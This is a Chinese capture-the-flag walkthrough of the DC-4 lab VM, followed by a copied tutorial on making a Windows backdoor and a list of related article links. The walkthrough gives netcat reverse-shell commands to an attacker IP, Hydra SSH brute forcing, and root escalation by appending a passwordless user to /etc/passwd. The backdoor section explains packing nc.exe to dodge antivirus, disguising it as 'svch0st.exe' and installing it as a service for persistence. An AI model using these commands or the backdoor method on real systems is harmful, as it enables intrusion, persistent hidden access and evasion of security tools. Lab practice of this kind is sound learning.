DC-4 渗透测试

冲冲冲,努力学习 。掌握 hydra ,nc反弹shell

记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.134

网络模式:NAT

信息收集

基于ARP的网络扫描工具netdiscover

ARP是将IP地址转化物理地址的网络协议。

通过该协议,可以判断某个IP地址是否被使用,从而发现网络中存活的主机。

使用很简单(扫描本地网络):

netdiscover -r 172.66.66.0/24 //使用本机IP段

netdiscover -r 172.66.66.0/24扫描一下

nmap -sV -A -p- 172.66.66.134 -oN /tmp/DC-4.nmap养成好习惯,把扫描结果保存下来

-A :探测操作系统

-sV :探测版本

-p- :探测0~65535端口开放情况



开了22 、80端口

dirb http://172.66.66.134

dirb 后台扫描器,类似 windows下的御剑后台扫描器。

后台没啥有价值的发现,访问80,是个admin登录框,盲猜账号admin,考虑万能密码、爆破,

bp简单爆破一下得到 admin:happy登录,

谨记我们的任务:拿到shell,再提权到root

登录后台发现可以执行命令,然后呢?



查看源码,猜想radio的value是否可以篡改?点击run的时候submit一个反弹shell过去?抓个包测一下

仿佛看到了希望:改一下radio为nc -e /bin/bash 172.66.66.129 7777

nc -e /bin/bash localhost 端口

nc 的 -e 选项是 绑定cmd或者bash 但是原理是什么呢?它怎么实现绑定的?

另一个问题,为什么要绑定shell?意义何在?放在末尾回答这个问题(主要是为了留后门)

知乎看到的答案,看不懂就先放着吧

等哪天我回过头来翻笔记的时候,希望我能解决我今天的疑问

由于不确定服务器上的nc时候有-e选项,不过不成功的话就来个替代方案

nc 172.66.66.129 777 |/bin/bash| nc 172.66.66.129 8888

操作机打开俩中端分别监听 7777 8888

shell 反弹回来了。有没有发现,这不是交互的shell,那就整一个交互的出来,

python -c 'import pty;pty.spawn("/bin/bash")'

什么才是交互的?简单的理解是:输入与输出都重定向到了所得到的shell里,可以在命令模式输入命令,可以变量赋值... 那又是什么决定了最后的shell交互式与否?

得到一个陌生shell环境,要干嘛?收集信息。

echo $0、cat /etc/passwd | grep /bin/bash、cat /etc/issue、uname -a、python、php、vim、find / -perm -4000 -type f 2>/dev/null、echo $PATH、cd /home ......

留意一下上面这几个可登录的账号 charles、jim、sam,下面是操作系统和版本号

cd /home 下,只有jim里有个 backups的目录,test.sh的权限跟mbox的权限,反差太大了吧,看一眼test.sh

在backups里看到了个old-passwords.bak

还记得开了22端口和前面passwd文件里的可登录账号吗?后台的admin账号我们已经登录上去了,显然这是ssh的登录账号密码?不要在shell里操作靶机写如文件,不要这样做,不要这样做,账号保存到/tmp/users.txt里,密码另存一下放到 /tmp/passwd.txt 操作机写好,开个python服务器传上去。

cd 到文件目录下再执行

hydra -L users.txt -P passwd.txt ssh://172.66.66.134 -t 5 -vV



爆破结果:jim:jibril04 (登录之后不忘看看基本信息 如sudo -l等)

登录提示 you have mail

linux 的邮件一般放在这个路径 var/mail 或者 /var/spool/mail(软连接) cat 一下看看内容

得到:charles:^xHhA&hvim0y 切换账号

root权限免密码使用teehee ,teehee会用吗?滚去学teehee -a /etc/passwd

当发现有最追加写入文件功能的时候,直接往 /etc/passwd 里加个root用户

passwd的格式:[⽤户名]:[密码]:[UID]:[GID]:[⾝份描述]:[主⽬录]:[登录shell]

echo "axb::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

(不设置密码就是免密码登录了吗?shadow文件没有写入相关信息)

提权到root

收获:

  1. hydra 会用吗?不会 ......滚回去学 (:_
  2. 我学完回来了.... -_-
  3. 不要尝试在目标机上编写文件,自己本地写好,传上去,nc传,python 简单服务器传,都行,就是不要在目标机上写,vi vim退不出来,把shell整没了就裂开。
  4. kali 里一个神奇的目录:/usr/share/wordlists 里面有个各种各样的字典,很多工具的字典都软连接到了里面。进去多用| grep 筛选一下自己想要的内容。
  5. 如果有root权限,能写入文件的话,考虑在 /etc/passwd 下加一个root账号,直接登录就可以了。
  6. teehee提权?这命令啥东西? 注意一个用法, echo 内容 | 写入目标文件 ,多用管道符。

hydra

-R 根据上一次进度继续破解

-S 使用SSL协议连接

-s 指定端口

-l 指定用户名

-L 指定用户名字典(文件)

-p 指定密码破解

-P 指定密码字典(文件)

-e 空密码探测和指定用户密码探测(ns)

-C 用户名可以用:分割(username:password)可以代替-l username -p password

-o 输出文件

-t 指定多线程数量,默认为16个线程

-vV 显示详细过程

server 目标IP

service 指定服务名(telnet ftp pop3 mssql mysql ssh ssh2......)

nc制作简单后门

首先请准备好不被杀的nc.exe(随便加个壳就可以了的),还有sc.exe(这个是操作服务的一个小工具,被人称为操作服务的军刀),这些就可以打造我们自己的后门了,后门的要求我想不需要很强的操作功能,只需要当我们连接的时候获得一个system权限的shell就可以了,有了cmdshell做什么不可以呢。如果你需要反弹的后门,也可以做到,自己注册个域名就可以用nc反弹了,因为比较复杂这里就不说了。我们知道nc就是实现我们的后门功能的最经典的工具,我们来看看nc的帮助,命令行下输入nc -h就可以看到,我们主要用到的几个参数如下:

-e 绑定一个程序并且连接时执行

-l 监听模式

-p 指定nc要运行的本地端口

-L 增强了的监听模式,当连接断开时再次监听

至于其他的用法相信各位已经很了解了的,我们以前经常用到的是

nc -l -e cmd.exe -p 8888 \监听8888端口,当有连接时重定向到cmd.exe实现绑定一个shell\

这样的形式用serveru等溢出程序执行后来绑定一个可以得到shell的端口8888,我们telnet或者nc连接上来的时候就可以直接获得一个shell。但是这样连接断开之后监听的端口就会关闭,是一次性的,不能再次获得shell,这样当然不适合于做后门了。后来发现nc的这个参数L可以一直保持监听的状态,可以反复连接。用

nc -L -e cmd.exe -p 8888 \也是绑定的,不过加强了的\

这样的命令就已经达到我们的目的了,但是我们往往是在溢出的shell里工作,留后门是为了以后的进入,那我们如何保证nc再机器重起之后还可以工作从而实现我们的后门的目的呢?你可以把他放到注册表的Run等启动项下面,但是感觉那样不是太好,有些地方已经被杀毒软件盯上了,把我的后门放到那里实在不是很放心,后来想到干脆作成服务吧!随着系统启动而启动,呵呵。那就看看如何打造服务吧!

首先我们将nc.exe放到%systemroot%\system32下面,起名叫svch0st.exe或者放到%systemroot%\system下面更名叫svchost.exe,这样的目的是为了在任务管理器里看不出异样。然后用sc替换系统的服务,不用改别的,只要修改他的执行路径就可以了,我们就改那个clipsrv.exe服务吧!命令如下:

sc config clipsrv start= auto \将clipsrv.exe服务设置为自动\

sc config cli

DC-4 靶机渗透测试的更多相关文章

  1. DC-1 靶机渗透测试

    DC-1靶机渗透测试 对着镜子大喊三声"太菜了""太菜了""太菜了" DC系列靶机的第一篇.边学习边日靶机边进步,摸爬滚打着前行. 内容不只 ...

  2. DC-5 靶机渗透测试

    DC-5 靶机渗透测试 冲冲冲,好好学习 .核心:footer 文件包含漏洞,wfuzz .收获总结写在文末. 谨记任务:找地方上传shell---> root. 操作机:kali 172.66 ...

  3. DC-2 靶机渗透测试

    DC-2 靶机渗透测试 冲冲冲,好好学习. 本靶机核心内容"受限shell提权",知识点在另一篇文章中总结归纳了. 攻击机:kali 靶 机:DC-2 准备:在使用前需要在操作机的 ...

  4. DC-9 靶机渗透测试

    DC-9 渗透测试 冲冲冲,好好学习 DC系列的9个靶机做完了,对渗透流程基本掌握,但是实战中出现的情况千千万万,需要用到的知识面太广了,学不可以已. 靶机IP: 172.66.66.139 kali ...

  5. DC-7 靶机渗透测试

    DC-7 渗透测试 冲冲冲,好好学习 .对管道符的理解加深了好多.最后提权时,遇到了点麻烦.想不懂一条命令为啥能执行生效,耗了一整天才算解决掉. 操作机:kali 172.66.66.129 靶机:D ...

  6. DC-8 靶机渗透测试

    DC-8 渗透测试 冲冲冲 ,好好学习 . 核心:cms上传添加存在漏洞组件,利用该组件getshell 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.137 网络 ...

  7. DC-6 靶机渗透测试

    DC-6 渗透测试 冲冲冲,好好学习 . 收获总结写在文末. 操作机:kali 172.66.66.129 靶机:DC-4 172.66.66.136 网络模式:NAT 上来一波 netdiscove ...

  8. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

  9. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

随机推荐

  1. 入门Kubernetes - YAML文件

    前言 前篇文章中简单了解到如何把.Net Core 程序部署到k8s中,过程中使用了多个*.yaml文件,那么这些文件的格式及含义.语法是如何的呢? 接下来,进一步了解学习 一.YAML介绍: 1.简 ...

  2. 《MySQL面试小抄》索引失效场景验证

    我是肥哥,一名不专业的面试官! 我是囧囧,一名积极找工作的小菜鸟! 囧囧表示:小白面试最怕的就是面试官问的知识点太笼统,自己无法快速定位到关键问题点!!! 本期主要面试考点 面试官考点之什么情况下会索 ...

  3. BGP路由技术

    BGP路由技术 目录 一.BGP概述 1.1.自治系统 1.2.动态路由分类 1.3.BGP概念 1.4.BGP的特征 1.5.BGP工作原理 二.命令配置 2.1.BGP配置思路 2.2.命令 一. ...

  4. linux 下安装 docker 环境

    一分钟了解 Docker Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从Apache2.0协议开源.Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级.可移植的容器中,然 ...

  5. ECMAScript 2021 正式确认

    ECMAScript 2021 主要包含内容: ECMAScript 2021 于2021年6月22日获得 ECMA International 的批准.ECMAScript 是标准化的 JavaSc ...

  6. POJ 1556 计算几何 判断线段相交 最短路

    题意: 在一个左下角坐标为(0,0),右上角坐标为(10,10)的矩形内,起点为(0,5),终点为(10,5),中间会有许多扇垂直于x轴的门,求从起点到终点在能走的情况下的最短距离. 分析: 既然是求 ...

  7. hdu 6030 矩阵快速幂

    大致题意: 一条长度为n的项链,由红色珠子和蓝色珠子(分别用1和0表示)组成,在连续的素数子段中,红色珠子的个数不能少于蓝色珠子.问组成这个项链有多少种方案,求方案数模1000000007 分析: 首 ...

  8. 从三道题目入门frida

    偶然从看雪看到了一篇入门frida的题目,正好苦于没练手的东西,直接上手一波 1.第一题jadx打开,也没有壳和混淆,整体非常清晰,判断的逻辑也很简单 发现其实就是两个输入框,一个用户名一个密码,先拼 ...

  9. Linux 命令行通配符及转义符的实现

    我们想对一类文件批量操作,例如批量查看硬盘文件属性,那么正常命令会是: [root@linuxprobe ~]# ls /dev/sda [root@linuxprobe ~]# ls /dev/sd ...

  10. hdu 2093 成绩排名

    思路: 没啥思路,就是定义结构体,跟题目,走,当时没想到对那个括号的处理,后面看了题解,才知道用个getchar直接判断 算是一个值得思考的点. 代码: #include<bits/stdc++ ...